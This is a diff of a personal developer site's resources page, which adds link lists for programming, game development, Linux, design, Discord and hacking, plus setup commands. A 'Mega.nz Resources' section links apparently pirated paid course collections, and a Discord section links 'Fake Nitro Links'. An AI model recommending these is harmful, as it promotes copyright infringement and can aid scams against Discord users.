+echo "deb http://archive.ubuntu.com/ubuntu jammy main" | sudo tee /etc/apt/sources.list.d/libicu-jammy.list<br>
+</code>
+</pre>
+                        <br>
+                        Pinning to lower priority to avoid conflicts with with main 24.04 repositories. Paste content (Console):<br>
+<pre>
+<code>
+sudo tee /etc/apt/preferences.d/libicu &lt;&lt;EOF
+Package: libicu*
+Pin: release n=jammy
+Pin-Priority: 100
+EOF<br>
+</code>
+</pre>
+                        <br>
+                        Update system & install .NET SDK. Paste content (Console):</p>
+<pre>
+<code>
+sudo apt update && sudo apt install dotnet-sdk-8.0
+</code>
+</pre>
+                      </Fragment>
+                    </AccordionItem>
+                    <AccordionItem title="Rust Resources" id="rustresources" parent="learningresourcesAccordion">
+                      <Fragment slot="accordion-item-content">
+                        <h4>Rust Resources</h4>
+                        <p>
+                          <a href="https://www.rust-lang.org/learn">Learn Rust</a><br>
+                          <a href="https://github.com/rust-lang/miri">Miri</a><br>
+                          <a href="https://blessed.rs/">blessed.rs</a><br>
+                          <a href="https://github.com/ex0dus-0x/awesome-rust-security">Rust Security</a><br>
+                        </p>
+                      </Fragment>
+                    </AccordionItem>
+                    <AccordionItem title="Other Language Resources" id="otherlanguageresources" parent="learningresourcesAccordion">
+                      <Fragment slot="accordion-item-content">
+                        <h4>Web Resources</h4>
+                        <p>
+                          <a href="https://university.webflow.com/">Webflow University</a>
+                          <a href="https://developer.mozilla.org/">MDN Web Docs</a>
+                        </p>
+                        <h4>JavaScript Resources</h4>
+                        <p>
+                          <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide">Mozilla JS Tutorials</a><br>
+                          <a href="https://javascript.info/">Modern JavaScript Tutorial</a>
+                        </p>
+                        <h4>TypeScript Resources</h4>
+                        <p>
+                          <a href="https://typehero.dev/explore">Learn TypeScript</a>
+                        </p>
+                        <h4>Lua Resources</h4>
+                        <p>
+                          <a href="https://devhints.io/lua">Lua Cheatsheet</a>
+                        </p>
+                        <h4>Markdown Resources</h4>
+                        <p>
+                          <a href="https://devhints.io/lua">Lua Cheatsheet</a>
+                        </p>
+                        <h4>Other Language Resources</h4>
+                        <p>
+                          <a href="https://university.webflow.com/">Webflow University</a>
+                        </p>
+                      </Fragment>
+                    </AccordionItem>
+                    <AccordionItem title="Game Dev Resources" id="gamedevresources" parent="learningresourcesAccordion">
+                      <Fragment slot="accordion-item-content">
+                        <h4>Game Dev Resources</h4>
+                        <p>
+                          <a href="https://characterdesignreferences.com/visual-library">Visual Library
+                          <a href="https://www.youtube.com/watch?v=zEfBPmPDUVc">Using AI to Generate Game Assets For Free</a><br>
+                          <a href="https://www.youtube.com/watch?v=UfSw6428bcc">Painterly Animations in Blender 3D</a><br>
+                          <a href="https://github.com/Alex-Toucan/atproducts.xyz/tree/main/public/media/md/bingai.md">Bing AI on: What has to be on a model design sheet, so I can work with it in Blender?</a>
+                        </p>
+                        <h4>Godot Resources</h4>
+                        <p>
+                          <a href="https://docs.godotengine.org/">Godot Docs</a><br>
+                          <a href="https://www.youtube.com/watch?v=WmZq3UgOGKY">Godot UI Setup</a><br>
+                          <a href="https://www.youtube.com/watch?v=rS88FPBtqBk">Godot Toolbox</a><br>
+                        </p>
+                        <h4>Godot Materials</h4>
+                        <p>The full &quot;stack&quot; of components in a 3D project can be visualized as:</p>
+                        <ul>
+                          <li><strong>Model/Mesh:</strong> Structure of the object.</li>
+                          <li><strong>Material/Shader/Texture:</strong> How the object looks and interacts with light.</li>
+                          <li><strong>Rig/Animation:</strong> How the object moves.</li>
+                          <li><strong>Scene/Light/Camera:</strong> How the object is viewed and interacts in the environment.</li>
+                          <li><strong>Physics/Collider:</strong> How the object interacts physically with other objects.</li>
+                          <li><strong>Scripts/Assets/Particles/Sound:</strong> Control behaviors, effects, and environmental immersion.</li>
+                        </ul>
+                        <h4>Godot Scenes</h4>
+                        <p>
+                          <a href="https://www.youtube.com/watch?v=PcAkWClET4U">Mohsen Zare - MTerrain</a><br>
+                          <a href="https://www.youtube.com/watch?v=9olfCkPs1WU">Mohsen Zare - Terrain Approach</a><br>
+                          <a href="https://www.youtube.com/watch?v=MYINKjJV_G0&amp;t=403s">Jen Jell - OWG</a><br>
+                          <a href="https://www.youtube.com/watch?v=rcsIMlet7Fw">Wandering Clipmap with LOD</a><br>
+                          <a href="https://www.youtube.com/watch?v=oV8c9alXVwU&amp;t=551s">Terrain3D</a><br>
+                          <a href="https://www.youtube.com/watch?v=1ho6tbxGt4c&amp;t=28s">Wojtek - Forest Scene</a><br>
+                        </p>
+                      </Fragment>
+                    </AccordionItem>
+                    <AccordionItem title="Discord Resources" id="discordresources" parent="learningresourcesAccordion">
+                      <Fragment slot="accordion-item-content">
+                        <h4>Discord Resources</h4>
+                        <p>
+                          <a href="https://discord.js.org/">Discord.js Website</a><br>
+                          <a href="https://discordjs.guide/">Discord.js Guide</a><br>
+                          <a href="https://discord.com/developers/docs/intro">Discord Developers Portal</a><br>
+                          <a href="https://discord.id/">Discord ID</a><br>
+                          <a href="https://discords.com/emoji-list/">Discord Icons</a><br>
+                          <a href="https://www.authorityhunter.com/how-to-revive-dead-discord-server/">Discord Server Revival</a><br>
+                          <a href="https://r.3v.fi/discord-timestamps/">Discord Timestamp Creator</a><br>
+                          <a href="https://discordresources.com/">Other Discord Resources</a><br>
+                          <a href="https://www.youtube.com/watch?v=c_arQ-6ElYI">Discord as Storage</a><br>
+                          <a href="https://dev.to/gogamic/how-to-run-discord-bot-24-7-in-ubuntu-3do0">How to run Discord Bots 24/7 w/ Ubuntu</a><br>
+                          <a href="https://discord.gg/QqWuTbEUrD">The Merchant's Shop!</a>
+                        </p>
+                      </Fragment>
+                    </AccordionItem>
+                    <AccordionItem title="Linux / Arch Resources" id="linuxarchresources" parent="learningresourcesAccordion">
+                      <Fragment slot="accordion-item-content">
+                        <h4>Linux Resources</h4>
+                        <p>
+                          <a href="https://phoenixnap.com/kb/install-ftp-server-on-ubuntu-vsftpd">How to Install FTP Server on Ubuntu with vsftpd</a><br>
+                          <a href="https://www.digitalocean.com/community/tutorials/how-to-install-and-manage-supervisor-on-ubuntu-and-debian-vps">How to install and manage supervisor on Ubuntu and Debian VPS</a><br>
+                          <a href="https://sysprog21.github.io/lkmpg/">Linux Kernel Module Programming Guide</a><br>
+                          <a href="https://www.youtube.com/watch?v=cC1CqyCN9Q0">How to Fit In with Linux Users</a><br>
+                        </p>
+                        <h4>Arch Resources</h4>
+                        <p>
+                          <a href="https://wiki.archlinux.org/title/Pacman/Tips_and_tricks#Removing_unused_packages_(orphans))">Pacman Tips and Tricks (Arch)</a><br>
+                          <a href="https://averagelinuxuser.com/clean-arch-linux/#1-clean-package-cache">Arch Linux Clean Instructions</a>
+                        </p>
+                        <h4>Astonishing GNOME customization</h4>
+                        <p>
+                          <a href="https://www.youtube.com/watch?v=3XHIV2RF2Yc">Glassmorphism</a>
+                          <br>
+                          <a href="https://www.youtube.com/watch?v=49_ZUgpMMFA">Everforest</a>
+                          <br>
+                          <a href="https://www.youtube.com/watch?v=bDTUbBoIoUQ">Fluent</a>
+                          <br>
+                          <a href="https://www.youtube.com/watch?v=qC0mnGprbeM">Orchis GTK</a>
+                          <br>
+                          <a href="https://www.youtube.com/watch?v=1doqD4t7xVs">Evergreen</a>
+                        </p>
+                        <h4>Apache, MariaDB and PHP (LAMP) Installation for Arch-based Distros</h4>
+                        <p>
+                          <a href="https://forum.manjaro.org/t/howto-install-apache-mariadb-mysql-php-lamp/13000">[HowTo] Install Apache, MariaDB (MySQL), PHP (LAMP)</a>
+                        </p>
+                        <blockquote class="ps-3">
+                          <p>&gt; PS: You must add a <code>phpmyadmin</code> DB and import <code>/usr/share/webapps/phpmyadmin/sql/create_tables.sql</code> there - on Linux. <br> &gt; And also modify / add some lines in your <code>.../phpmyadmin/config.inc.php</code> to tell <code>phpmyadmin</code> to use this DB for it&#39;s configuration storage: </p>
+                        </blockquote>
+                        <h3>Under the <code>phpMyAdmin configuration storage settings</code>-section </h3>
+                        <p>Un-comment all tables matching the pattern below - but check in your DB, if they were created by the <code>create_table.sql</code>. </p>
+<pre>
+<code> 
+// REQUIRED User - uncomment as well!!!
+// Replace &#39;pma&#39; and &#39;pmapass&#39; with the username &amp; password of a MySQL user that contains the appropriate privileges on the phpmyadmin database.
+$cfg[&#39;Servers&#39;][$i][&#39;controluser&#39;] = &#39;pma&#39;; 
+$cfg[&#39;Servers&#39;][$i][&#39;controlpass&#39;] = &#39;pmapass&#39;;
+// Pattern 
+$cfg[&#39;Servers&#39;][$i][&#39;tableName&#39;] = &#39;tableName&#39;; 
+</code>
+</pre>      
+                        <h5>Optional: Create the User</h5>
+<pre>
+<code> 
+CREATE USER 'pma'@'localhost' IDENTIFIED BY'pmapass';
+GRANT SELECT, INSERT, UPDATE, DELETE ON phpmyadmin.* TO 'pma'@'localhost'; 
+FLUSH PRIVILEGES;
+</code>
+</pre>
+                        <p>Problems or using Windows? <br> =&gt; Refer to the Docs: <code>http://yourServerNameOrIPAddr/phpmyadmin/doc/html/setup.html#phpmyadmin-configuration-storage</code>
+                        </p>
+                      </Fragment>
+                    </AccordionItem>
+                    <AccordionItem title="Mega.nz Resources" id="meganzresources" parent="learningresourcesAccordion">
+                      <Fragment slot="accordion-item-content">
+                        <h4>Mega.nz Resources</h4>
+                        <p>
+                          <a href="https://controlc.com/60860490">Udemy Mega.nz 12 Parts Courses Collection</a><br>
+                          <a href="https://controlc.com/1a365e0f">4 TB Mega.nz Courses Collection</a><br>
+                          <a href="https://controlc.com/aedfca1f">14 TB Mega.nz Courses Collection</a><br>
+                          <a href="https://mega.nz/folder/zGJT1QQQ#O-8yiH845GN26ajAvkoLkA">Additional CyberSecurity Files</a><br>
+                          <a href="https://mega.nz/folder/dLIWkbCB#0MH4CBGlj0JUA6n00EbpDg">150 Interview Problems (AlgoExpert Course 1)</a><br>
+                          <a href="https://mega.nz/folder/oWAwAR5Y#WsyNfvNK_SkoFXS4WJKcTA">Systems Design Fundamentals (AlgoExpert Course 2)</a><br>
+                          <a href="https://mega.nz/folder/RGBgHJIS#qOsdOXynX41S5TFOP0PqHg">Data Structures Crash Course (AlgoExpert Course 3)</a><br>
+                          <a href="https://mega.nz/folder/5bQAFTCZ#q3HkgHHDSjPk_q0Uq0QQ4w">Become an Algorithms Expert (AlgoExpert Course 4)</a><br>
+                          <a href="https://mega.nz/folder/YXIC2DqA#_A9kVgMPzl652Qfqi9lhlA">Interview Preparation Course (Part 1) (AlgoExpert Course 5)</a><br>
+                          <a href="https://mega.nz/folder/JeZ2RTTI#s4jjLfA1ef27bIQH_1ei3Q">Interview Preparation Course (Part 2) (AlgoExpert Course 6)</a><br>
+                          <a href="https://mega.nz/folder/UGRQnTaI#L6B62U_3jUOuRkCEH4DZvw">Interview Tips (AlgoExpert Course 7)</a>
+                        </p>
+                        <p>
+                          <a href="https://mega.nz/folder/dbwmwS6b#p9nGMhSXETZBAEYGoKty8Q">Code With Mosh</a> (Code: p9nGMhSXETZBAEYGoKty8Q)
+                        </p>
+                      </Fragment>
+                    </AccordionItem>
+                    <AccordionItem title="All Guides VenenJean used to Install VirtualBox under Manjaro" id="vbmanjaro" parent="learningresourcesAccordion">
+                      <Fragment slot="accordion-item-content">
+                        <h4>All Guides VenenJean used to Install VisualBox under Manjaro</h4>
+                        <p>
+                          <a href="https://wiki.manjaro.org/index.php/VirtualBox#Configuring_the_host">Guide 1 (Manjaro Wiki)</a><br>
+                          <a href="https://hibbard.eu/install-ubuntu-virtual-box">Guide 2 (Hibbard)</a><br>
+                          <a href="https://www.cherryservers.com/blog/how-to-install-and-start-using-mariadb-on-ubuntu-20-04">Guide 3 (CherryServers)</a><br>
+                          <a href="https://www.ibm.com/docs/en/spectrum-lsf-rtm/10.2.0?topic=ssl-configuring-default-root-password-mysqlmariadb">Guide 4 (IBM)</a><br>
+                          <a href="https://linuxiac.com/how-to-install-virtualbox-on-manjaro-linux/">Guide 5 (LinuxIAC)</a><br>
+                          <a href="https://mariadb.org/download/?t=repo-config&d=22.04+%22jammy%22&v=11.1&r_m=23Media">Guide 6 (MariaDB)</a><br>
+                          <a href="https://phoenixnap.com/kb/ssh-with-key">SSH Public Key Connection Setup</a><br>
+                          <a href="https://wiki.manjaro.org/">Manjaro Wiki</a>
+                        <p>
+                          <a href="https://www.youtube.com/watch?v=V2N1nrULjcY">Fixing VBox Users: The Screen Scaling Problem</a>
+                        </p>
+                        </p>
+                      </Fragment>
+                    </AccordionItem>
+                  </Fragment>
+                </Accordion>
+              </Fragment>
+            </AccordionItem>
+            <AccordionItem title="Other Resources" id="otherresources" parent="resourcesAccordion">
+              <Fragment slot="accordion-item-content">
+                <h3>Other Resources</h3>
                 <p>
-                <code>
-                h1 &lbrace;<br>
-                &nbsp;&nbsp;color&colon; black;<br>
-                &nbsp;&nbsp;text-align&colon; center;<br>
-                &nbsp;&nbsp;font-size&colon; 26px;<br>
-                &nbsp;&nbsp;font-family&colon; verdana;<br>
-                &rbrace;
-                </code>
+                  <a href="https://www.datensen.com/blog/">Data Management Blog</a><br>
+                  <a href="https://phish.report">Report Phishing</a><br>
+                  <a href="https://codebeautify.org/">CodeBeautify</a><br>
+                  <a href="https://www.sonarsource.com/products/sonarlint/features/visual-studio/">SonarLint</a><br>
+                  <a href="https://www.freesoff.com/">FreeSoff (Free Software)</a><br>
+                  <a href="https://www.wolframalpha.com">Math, Science, Tech, Culture, and Life API</a><br>
+                  <a href="https://tinywow.com">Free AI Writing, PDF, Image, and Other Online Tools</a><br>
+                  <a href="https://www.opensourcealternative.to">Open Source Alternatives</a><br>
+                  <a href="https://www.jotform.com">Free Letter Forms</a><br>
+                  <a href="https://www.nirsoft.net/panel/">NirSoft</a><br>
+                  <a href="https://www.commontools.org/">Commontools.org</a><br>
+                  <a href="https://pmichaels.net/2021/08/29/compiling-code-files-in-c-using-roslyn/">CS2DLL</a><br>
+                  <a href="https://app.eraser.io/">Eraser (Planning)</a><br>
+                  <a href="https://github.com/bytemate/chatapi-single">ChatGPT-API-Server</a><br>
+                  <a href="https://fathy.fr/carbonyl">Chrome Render to Terminal</a><br>
+                  <a href="https://dontasktoask.com/">Don't ask to ask, just ask</a><br>
+                  <a href="https://insights.stackoverflow.com/survey/">StackOverflow Yearly Surveys</a><br>
+                  <a href="https://survey.devographics.com/en-US">State of Language Survey</a>
                 </p>
-                <p><code>&lt;p style="font-size:10px"&gt;</code></p>
-                <p>To put CSS files in HTML, use:
-                <br><code>&lt;link rel="stylesheet" href="style.css"&gt;</code></p>
-                <p>To put CSS code in HTML, use:
-                <br>
-                <code>
-                &lt;style&gt;<br>
-                .class &lbrace;<br>
-                &rbrace;<br>
-                &lt;/style&gt;
-                </code>
+                <Accordion parent="otherresourcesAccordion">
+                  <Fragment slot="accordion-content">
+                    <AccordionItem title="Designer Resources" id="designerresources" parent="otherresourcesAccordion">
+                      <Fragment slot="accordion-item-content">
+                        <h4>Designer Resources</h4>
+                        <p>
+                          <a href="https://figma.com">Figma</a><br>
+                          <a href="https://www.youtube.com/watch?v=HMntFTgy8Is">Simple Table in Figma</a><br>
+                          <a href="https://www.youtube.com/watch?v=IHy57Lrzkb4">The Pro Tutorials you've never seen if you use Blender</a><br>     
+                          <a href="https://www.blenderkit.com/">Materials for Blender</a><br>
+                          <a href="https://namelix.com/">Business Name Generator</a><br>
+                          <a href="https://app.brandmark.io/v3/">BrandMark.Io</a><br>
+                          <a href="https://www.canva.com/colors/color-wheel/">Canva Color Wheel</a><br>
+                          <a href="https://www.spycolor.com/">SpyColor</a><br>
+                          <a href="https://coolbackgrounds.io/">CoolBackgrounds</a><br>
+                          <a href="https://uigradients.com/">UIgradients</a><br>
+                          <a href="https://cssgradient.io/">CSS Gradients</a><br>
+                          <a href="https://www.svgbackgrounds.com/">SVG Gradients</a><br>
+                          <a href="https://iconscout.com/">Iconscout</a><br>
+                          <a href="https://www.ilovepdf.com/">ILovePDF</a><br>
+                          <a href="https://jpg2png.com/">JPG2PNG</a><br>
+                          <a href="https://png2pdf.com/">PNG2PDF</a><br>
+                          <a href="https://pdf2png.com/">PDF2PNG</a><br>
+                          <a href="https://www.zamzar.com/convert/xlsx-to-pdf/">XLSX2PDF</a>
+                        </p>
+                      </Fragment>
+                    </AccordionItem>
+                    <AccordionItem title="Git Resources" id="gitresources" parent="otherresourcesAccordion">
+                      <Fragment slot="accordion-item-content">
+                        <h4>Git Resources</h4>
+                        <p>
+                          <a href="https://git-scm.com/">Git</a><br>
+                          <a href="https://github.com/">GitHub</a><br>
+                          <a href="https://youtube.com/shorts/y7fwyTh0F7Y?si=1YktIy5eP2h4vF1k">GitHub in VSCode</a><br>
+                          <a href="https://gitlab.com/">GitLab</a><br>
+                          <a href="https://www.gitkraken.com/">GitKraken</a><br>
+                          <a href="https://bitbucket.org/">BitBucket</a><br>
+                          <a href="https://youtu.be/RxHJdapz2p0?si=H3teosorRjwVNE7P">How Git Actually Works</a><br>
+                          <a href="https://gitmoji.dev">GitMoji</a>
+                        </p>
+                      </Fragment>
+                    </AccordionItem>
+                    <AccordionItem title="Web Resources" id="webresources" parent="otherresourcesAccordion">
+                      <Fragment slot="accordion-item-content">
+                        <h4>Web Resources</h4>
+                        <p>
+                          <a href="http://www.denic.de/en/domains/whois-service/web-whois.html">WHOIS Lookup</a><br>
+                          <a href="https://www.immuniweb.com/websec/">Web Security Testing</a><br>
+                          <a href="https://css-tricks.com/probably-dont-base64-svg/">CSS Data URI</a><br>
+                          <a href="https://www.urldecoder.io/">URL Decoder</a><br>
+                          <a href="https://loremipsum.io/">Lorem Ipsum Generator</a><br>
+                          <a href="https://astro.build/">Astro</a><br>
+                          <a href="https://getbootstrap.com">Bootstrap</a><br>
+                          <a href="https://tailwindcss.com/">Tailwind.css</a><br>
+                          <a href="https://jquery.com/">JQuery JS</a><br>
+                          <a href="http://vanilla-js.com/">Vanilla-JS Framework</a><br>
+                          <a href="https://bulma.io/">Bulma CSS Framework</a><br>
+                          <a href="https://addr.tools/">Internet Tools</a><br>
+                          <a href="https://www.netlify.com/">Netlify</a><br>
+                          <a href="https://vercel.com/">Vercel</a><br>
+                          <a href="https://www.webbyawards.com/">Webby Awards</a><br>
+                          <a href="https://pagespeed.web.dev/">PageSpeed Insights</a><br>
+                          <a href="https://www.webbyawards.com/">Webby Awards</a><br>
+                          <a href="https://axiom.ai">No Code Browser Automation</a>
+                          <a href="https://www.youtube.com/watch?v=9ElrcTtAxzA">The Secret Science of Perfect Spacing Part 1</a>
+                          <a href="https://www.youtube.com/watch?v=r1DANFZYJDw">The Secret Science of Perfect Spacing Part 2</a>
+                        </p>
+                      </Fragment>
+                    </AccordionItem>
+                    <AccordionItem title="Code Editors" id="codeeditors" parent="otherresourcesAccordion">
+                      <Fragment slot="accordion-item-content">
+                        <h4>Code Editors</h4>
+                        <p>
+                          <a href="https://atom.io">Atom</a><br>
+                          <a href="https://code.visualstudio.com/download">Visual Studio Code (VSCode)</a>
+                          <a href="https://youtube.com/shorts/y7fwyTh0F7Y?si=1YktIy5eP2h4vF1k">GitHub in VSCode</a><br>
+                          <a href="https://www.sublimetext.com/download">Sublime Text</a><br>
+                          <a href="https://github.com/WerWolv/ImHex">Hex Editor (ImHex)</a><br>
+                          <a href="https://www.vim.org/download.php">Vim</a><br>
+                          <a href="https://www.jetbrains.com/pycharm/">Pycharm (Python IDE)</a><br>
+                          <a href="https://www.eclipse.org/downloads/">Eclipse (Java IDE)</a><br>
+                          <a href="https://www.jetbrains.com/idea/download/">Intellij (Java IDE)</a>
+                        </p>
+                      </Fragment>
+                    </AccordionItem>
+                    <AccordionItem title="Fonts" id="fontsitem" parent="otherresourcesAccordion">
+                      <Fragment slot="accordion-item-content">
+                        <h4>Fonts</h4>
+                        <p>
+                          <a href="https://gwfh.mranftl.com/fonts">Google WebFonts Helper</a><br>
+                          <a href="https://www.cufonfonts.com/font/segoe-ui-4">Segoe UI</a><br>
+                          <a href="https://www.cufonfonts.com/font/force-commander">Force Commander</a><br>
+                          <a href="https://www.cufonfonts.com/search/Oswald">Oswald</a><br>
+                          <a href="https://fonts.google.com/specimen/Oswald">Oswald from Google</a><br>
+                          <a href="https://www.cufonfonts.com/search/kanit">Kanit</a><br>
+                          <a href="https://fonts.google.com/specimen/Kanit">Kanit from Google</a><br>
+                          <a href="https://zyro.com/blog/clean-fonts/">More Clean Fonts</a><br>
+                          <a href="https://typographyhandbook.com/#introduction">Typography Handbook</a>
+                        </p>
+                      </Fragment>
+                    </AccordionItem>
+                    <AccordionItem title="Discord Glitches" id="discordgitches" parent="otherresourcesAccordion">
+                      <Fragment slot="accordion-item-content">
+                        <h4>Discord Glitches</h4>
+                        <p>
+                          <a href="https://github.com/PanIntegralus/discord.webm-compilation">Glitched WEBMs</a>
+                          <br>
+                          <a href="https://gist.github.com/ghostrider-05/8f1a0bfc27c7c4509b4ea4e8ce718af0">Discord Link Protocols</a>
+                          <br>
+                          <a href="https://drive.google.com/drive/folders/18-9X13abayITCKmToARWDljynvMzBXob">Fake Nitro Links</a>
+                        </p>
+                        <p>
+                          <a href="https://www.youtube.com/watch?v=MDSscZjzXb4">Much more in this video</a>
+                        </p>
+                      </Fragment>
+                    </AccordionItem>
+                  </Fragment>
+                </Accordion>
+              </Fragment>
+            </AccordionItem>
+            <AccordionItem title="YouTube Creators" id="youtubecreators" parent="resourcesAccordion">
+              <Fragment slot="accordion-item-content">
+                <h3>YouTube Creators</h3>
+                <p>This section will not be categorized by accordions.</p>
+                <h4>C#</h4>
+                <p>
+                  <a href="https://www.youtube.com/@IAmTimCorey">IAmTimCorey</a><br>
+                  <a href="https://www.youtube.com/@tutorialsEUC">tutorialsEU</a>
                 </p>
-                </div>
-              <div id="rules-7">
-                <h4>CSS Rulesets</h4>
+                <h4>JavaScript</h4>
                 <p>
-                </p><div class="d-flex"><div class="col-4"><p>Selector</p></div><div class="col"><div class="me-auto"><code class="position-static">p &lbrace; </code></div></div></div>
-                <div class="d-flex"><div class="col-4"><p>Property</p></div><div class="col"><div class="me-auto"><code class="position-static">&nbsp;&nbsp;color&colon; red; </code></div></div></div>
-                <div class="d-flex"><div class="col-4"><p>Declaration</p></div><div class="col"><div class="me-auto"><code class="position-static">&rbrace;</code></div></div></div>  
-                <p></p>
-                <p><b>Properties</b> - With these, you can style a HTML element, like for example; color. <br>
-                <b>Property Value</b> - This chooses one of the possible options for a given property, like red for color.</p>
-                  <p>
-                You can also write CSS like <code>html&lbrace;color&colon;red;&rbrace;</code>
-                <br>
-                You can also put styles in HTML elements. <code>&lt;h1 style="font-color:white;"&gt;</code>
-                <br>
-                You can also select multiple elements at once like...
-                <br>
-                <code>
-                h1, h4, h6, h2 &lbrace;
-                &nbsp;&nbsp;color&colon; red;
-                &rbrace;</code></p>
-              </div>
-              <div id="classes-7">
-                <h4>Classes</h4>
-                <p>Think of classes like custom HTML elements, they can be applied in html like <code>&lt;p class="text-red"&gt;</code></p>
-                <p>Classes begin with a dot or period (.) to begin the selector.</p>
+                  <a href="https://www.youtube.com/@ColorCodeio">ColorCode</a>
+                </p>
+                <h4>General</h4>
                 <p>
-                  <code>
-                    .text-red &lbrace;<be>
-                    &nbsp;&nbsp;color&colon; red;<be>
-                    &rbrace;
-                  </code>
+                  <a href="https://www.youtube.com/@Cleancoders/videos">Clean Coders</a><br>
+                  <a href="https://www.youtube.com/@Coderized">Coderized</a><br>
+                  <a href="https://www.youtube.com/@wndtn/videos">Winderton</a><br>
+                  <a href="https://www.youtube.com/@CodeAesthetic">CodeAesthetic</a><br>
+                  <a href="https://www.youtube.com/@StudyingWithAlex">Studying with Alex</a><br>
+                  <a href="https://www.youtube.com/watch?v=NuyzuNBFWxQ">Fireship</a>
                 </p>
-              </div>
-              <div id="text-7">
-                <h4>Text Elements</h4><p>
-                <code>font-size&colon; 10px;</code> - Text size, can be in pixels.<br>
-                <code>font-family&colon; verdana;</code> - Fonts<br>
-                <code>text-align&colon; center;</code> - Can align to the left side, right side, or in the center of the webpage. <br>
-                <code>text-shadow&colon; 3px black</code> - Shadow of text. It can be in pixels and colors.
+                <h4>Computer Science</h4>
+                <p>
+                  <a href="https://www.youtube.com/cs50">CS50 | Harvard University</a><br>
+                  <a href="https://www.youtube.com/channel/UC1szFCBUWXY3ESff8dJjjzw">Loi Liang Yang</a>
                 </p>
-              </div>
-              <div id="pad-7">
-                <h4>Padding Elements</h4>
+                <h4>Web Development</h4>
                 <p>
-                <code>padding-top&colon; 50px;</code> - Separation. It can be top, left, right, and bottom in pixels.<br>
-                <code>margin&colon; 50px;</code> - A margin. It can be in pixels.<br>
-                <code>border-width&colon; 5px;</code> - Border width. Can be thin, medium, thick, or just pixels.<br>
-                <code>border-style&colon; dotted;</code> - Border style. Can be dotted, dashed, solid, double, groove, ridge, inset, outset, none, or hidden. Can also be colored.<br>
-                <code>width=500px;</code> - Width of the element. It can be pixels or percentages.</p>
-              </div>
-              <div id="color-7">
-                <h4>Color Elements</h4>
-                <p><code>color&colon; red;</code> - The color of the element, can be hexadecimal, or RGB.<br>
-                <code>background-color&colon; white;</code> - Background color of the element.</p>
-              </div>
-              <div id="com-7">
-                <h4>Comments</h4>
-                <p>Comments are commonly used to explain the code and may help when you edit the source code later and are ignored by browsers.
-                <br><br>
-                A CSS comment starts with <code>/*</code> and ends with <code>*/</code>, and no changes are needed to make it multiple lines.</p>
-                <p> 
-                  <code>
-                    /* This is a single-line comment */<br><br>
-                    /* This is<br>
-                    a multi-line<br>
-                    comment */
-                  </code>
+                  <a href="https://www.youtube.com/@KevinPowell">Kevin Powell <a href="https://www.youtube.com/@WebDevSimplified">Web Dev Simplified</a><br>
+                  <a href="https://www.youtube.com/@thewebsitearchitect">The Website Architect</a><br>
+                  <a href="https://www.youtube.com/@javascriptmastery">Javascript Mastery - YT</a><br>
+                  <a href="https://www.jsmastery.pro/">Javascript Mastery - Website</a>
                 </p>
-              </div>
-              <div id="eci-7">
-                <h4>Extra: Centering Images</h4>
-                <p><code>img &lbrace;<br>
-                &nbsp;&nbsp;margin&colon; 0 auto;<br>
-                &nbsp;&nbsp;display&colon; block;<br>
-                &rbrace;</code></p>
-              </div>
-            </Fragment>
-          </Scrollspy>
-        </div>
-        <hr>
-        <div id="js">
-          <h2> JavaScript Basics </h2>
-          <Scrollspy id="js-basics-list"
-          scrollcontent={[
-            { name: "Including JavaScript in an HTML Page", href: "#html-8" },
-            { name: "Call an External JavaScript File", href: "#call-8" },
-            { name: "Including Comments", href: "#com-8" },
-            { name: "Variables", href: "#var-8" },
-            { name: "Data Types", href: "data-8" },
-          ]}
-          >
-            <Fragment slot="scrollspy-content">
-              <div id="html-8">
-                <h4>Including JavaScript in an HTML Page</h4>
+                <h4>Networks/Cybersecurity</h4>
                 <p>
-                  <code>
-                    &lt;script type="text/javascript"&gt; <br>
-                    //JS code goes here <br>
-                    &lt;/script&gt; 
-                  </code>
+                  <a href="https://www.youtube.com/@NetworkChuck">NetworkChuck</a>
                 </p>
-              </div>
-              <div id="call-8">
-                <h4>Call an External JavaScript File</h4>
-                <p> <code>&lt;script src="myscript.js"&gt;&lt;/script&gt;</code></p>
-              </div>
-              <div id="com-8">
-                <h4>Including Comments</h4>
-                <p>Single line comments - <code>// Comment</code> <br>
-                Multi-line comments - <code>/* comment here */</code></p>
-              </div>
-              <div id="var-8">
-                <h4>Variables</h4>
+                <h4>Indie App Development</h4>
                 <p>
-                <code>var, const, let</code><br>
-                <code>var</code> — The most common variable. It can be reassigned but only accessed within a function. Variables defined with var move to the top when code is executed.<br>
-                <code>const</code> — Can not be reassigned and not accessible before they appear within the code.<br>
-                <code>let</code> — Similar to const, however, let variable can be reassigned but not re-declared.<br>
+                  <a href="https://www.youtube.com/@craftzdog">Takuya Matsuyama</a><br>
+                  <a href="https://www.youtube.com/@devaslife">DevAsLife</a>
                 </p>
-              </div>
-              <div id="data-8">
-                <h4>Data Types</h4>
+                <h4>NeoVim Usage</h4>
                 <p>
-                Numbers — <code>var age = 23</code> <br>
-                Variables — <code>var x</code><br>
-                Text (strings) — <code>var a = "init"</code><br>
-                Operations — <code>var b = 1 + 2 + 3</code><br>
-                True or false statements — <code>var c = true</code><br>
-                Constant numbers — <code>const PI = 3.14</code><br>
-                Constant numbers — <code>const PI = 3.14</code><br>
-                Objects — <code>var name = &lbrace;firstName&colon; "John", lastName&colon; "Doe"&rbrace;</code>
+                  <a href="https://www.devas.life/effective-neovim-setup-for-web-development-towards-2024/">Takuya Matsuyama</a>
                 </p>
-
-                <p><b>Objects Example</b> <br>
-                  <code>
-                    var person = &lbrace;<br>
-                    &nbsp;&nbsp;firstName&colon; "John",<br>
-                    &nbsp;&nbsp;lastName&colon; "Doe",<br>
-                    &nbsp;&nbsp;age&colon; 20,<br>
-                    &nbsp;&nbsp;nationality&colon; "American"<br>
-                    &rbrace;
-                  </code>
+              </Fragment>
+            </AccordionItem>
+            <AccordionItem title="Hacking Resources" id="hackingresources" parent="resourcesAccordion">
+              <Fragment slot="accordion-item-content">
+                <h3>Hacking Resources</h3>
+                <p>
+                  <a href="https://www.youtube.com/watch?v=mPVG3tXjMgI">Making the Hacker Mindset</a><br>
+                  <a href="https://hackingthe.cloud">Hacking The Cloud</a><br>
+                  <a href="https://hacktricks.xyz">HackTricks</a><br>
+                  <a href="https://trickest.com/">Trickest</a><br>
+                  <a href="https://www.hackthebox.com/">HackTheBox</a><br>
+                  <a href="http://picoctf.com">CTF Hacking for Beginners</a><br>
+                  <a href="http://www.liveoverflow.com">LiveOverflow</a><br>
+                  <a href="https://malapi.io">Malapi</a><br>
+                  <a href="https://unprotect.it">Unprotect Project</a><br>
+                  <a href="https://0dayfans.com/">0DayFans</a><br>
